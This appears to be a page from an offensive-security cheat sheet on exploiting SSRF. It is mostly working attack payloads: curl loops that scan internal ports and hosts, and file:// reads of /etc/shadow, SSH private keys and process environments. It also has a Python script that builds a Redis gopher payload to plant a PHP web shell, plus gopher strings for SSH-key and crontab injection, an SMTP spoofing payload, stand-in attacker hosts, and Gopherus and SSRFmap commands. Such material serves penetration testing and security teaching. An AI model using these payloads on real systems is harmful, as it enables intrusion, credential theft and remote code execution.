SSRF Exploitation¶
Confirming SSRF¶
With Response (Non-Blind)¶
Request internal resource and check response:
Look for: - Different response size/content - Error messages revealing internal info - Actual internal content in response
Blind SSRF¶
Use external server to detect:
Note from Collaborator: - Source IP (server's real IP) - Request headers (User-Agent, custom headers) - Timing differences
Time-Based Detection¶
# Open port = fast response
?url=http://127.0.0.1:80 # ~100ms
# Closed port = timeout or error
?url=http://127.0.0.1:12345 # ~10s timeout
Port Scanning¶
Internal Port Scan¶
# Common ports
for port in 21 22 23 25 80 443 445 3306 5432 6379 8080 27017; do
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
"https://target.com/fetch?url=http://127.0.0.1:$port"
done
Network Discovery¶
# Scan internal range
for i in {1..255}; do
curl -s "https://target.com/fetch?url=http://192.168.1.$i:80" &
done
Protocol Handlers¶
file://¶
Read local files:
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///home/user/.ssh/id_rsa
file:///var/log/apache2/access.log
file:///c:/windows/win.ini
dict://¶
DICT protocol for service interaction:
dict://127.0.0.1:11211/stats # Memcached
dict://127.0.0.1:6379/info # Redis
dict://127.0.0.1:22/ # SSH banner
gopher://¶
Most powerful - craft raw TCP requests:
Format: gopher://HOST:PORT/_[TCP_DATA]
URL encode: \r\n → %0d%0a
# Redis command
gopher://127.0.0.1:6379/_INFO%0D%0AQUIT%0D%0A
# HTTP request via gopher
gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0A
Other Protocols¶
sftp://attacker.com/ # May leak creds in logs
ldap://attacker.com:389/ # May leak info
ftp://127.0.0.1/
Reading Internal Services¶
Checking Common Services¶
# Kubernetes
http://127.0.0.1:10255/pods
http://kubernetes.default.svc/
# Docker
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json
# Consul
http://127.0.0.1:8500/v1/agent/members
# Elasticsearch
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/_search?q=*
# Internal web apps
http://127.0.0.1:8080/admin
http://localhost/server-status
http://127.0.0.1/manager/html # Tomcat
Extracting Data¶
If you can see responses:
# Read internal API
?url=http://internal-api.local/users
# Access admin panels
?url=http://127.0.0.1:8080/admin/config
# Read environment
?url=file:///proc/self/environ
Weaponizing Gopher¶
Redis RCE via Gopher¶
# Generate gopher payload for Redis
import urllib.parse
commands = """
SET shell "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
QUIT
"""
payload = ""
for line in commands.strip().split('\n'):
payload += f"*{len(line.split())}\r\n"
for arg in line.split():
payload += f"${len(arg)}\r\n{arg}\r\n"
print("gopher://127.0.0.1:6379/_" + urllib.parse.quote(payload))
SSH key injection:
# Write authorized_keys
gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$17%0d%0a/root/.ssh%0d%0a
gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a
# Then set key and save...
Crontab injection:
gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a
Memcached via Gopher¶
# Stats
gopher://127.0.0.1:11211/_stats%0A
# Version
gopher://127.0.0.1:11211/_version%0A
# Flush all (cache poisoning)
gopher://127.0.0.1:11211/_flush_all%0A
SMTP via Gopher¶
gopher://127.0.0.1:25/_HELO%20localhost%0d%0aMAIL%20FROM:%3Cattacker@evil.com%3E%0d%0aRCPT%20TO:%3Cvictim@target.com%3E%0d%0aDATA%0d%0aSubject:%20SSRF%20Test%0d%0a%0d%0aPwned%20via%20SSRF%0d%0a.%0d%0aQUIT%0d%0a
Tools¶
Gopherus¶
Generate gopher payloads automatically:
python gopherus.py --exploit mysql
python gopherus.py --exploit redis
python gopherus.py --exploit fastcgi
python gopherus.py --exploit memcache
SSRFmap¶
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m portscan
Port Reference¶
| Service | Port | Protocol |
|---|---|---|
| Redis | 6379 | gopher/dict |
| Memcached | 11211 | gopher/dict |
| MySQL | 3306 | gopher |
| PostgreSQL | 5432 | gopher |
| MongoDB | 27017 | gopher |
| SMTP | 25 | gopher |
| FastCGI | 9000 | gopher |
| Zabbix | 10050 | gopher |
| Elasticsearch | 9200 | http |
| Docker | 2375 | http |
| Kubernetes | 10250 | http |
Got SSRF working? Move to Escalation for cloud metadata and RCE chains.
Need to bypass filters? Check Bypasses.